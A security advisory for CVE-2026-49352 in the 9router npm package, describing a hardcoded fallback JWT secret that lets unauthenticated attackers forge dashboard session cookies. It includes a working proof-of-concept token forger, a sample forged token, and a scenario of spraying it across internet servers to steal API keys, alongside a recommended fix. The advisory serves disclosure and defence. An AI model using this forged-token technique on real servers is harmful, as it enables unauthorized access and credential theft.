Advisory

GHSA-jphh-m39h-6gwx

Also known as: CVE-2026-49352

Summary

9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass

Details

Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
| >= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
| >= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |

Vulnerable Code

v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):

const SECRET = new TextEncoder().encode(
  process.env.JWT_SECRET || "9router-default-secret-change-me"
);

The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:

import { SignJWT } from "jose";

const SECRET = new TextEncoder().encode("9router-default-secret-change-me");

const token = await new SignJWT({ authenticated: true })
  .setProtectedHeader({ alg: "HS256" })
  .setIssuedAt()
  .setExpirationTime("36y")
  .sign(SECRET);

console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w

Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass

Attack Scenario:

  • Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
  • Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database

Impact

  • A successful attack grants attacker full API Key, Auth Token that 9router hold
  • They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
  • Pivot via the MCP stdio→SSE bridge exposed at /api/mcp/ (exploit CVE-2026-46339)

Recommended Fix

Require JWT_SECRET at startup and fail fast rather than falling back silently:

const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
  throw new Error(
    "JWT_SECRET environment variable is not set. " +
    "Generate one with: openssl rand -hex 32"
  );
}
const SECRET = new TextEncoder().encode(jwtSecret);

Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-07-02 20:56 UTC
Modified
2026-07-02 21:11 UTC

Affected packages and fixes

9router

npm · All systems

Affected

  • introduced 0.2.21, fixed 0.4.45 (semver)

Fixed versions

0.4.45

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences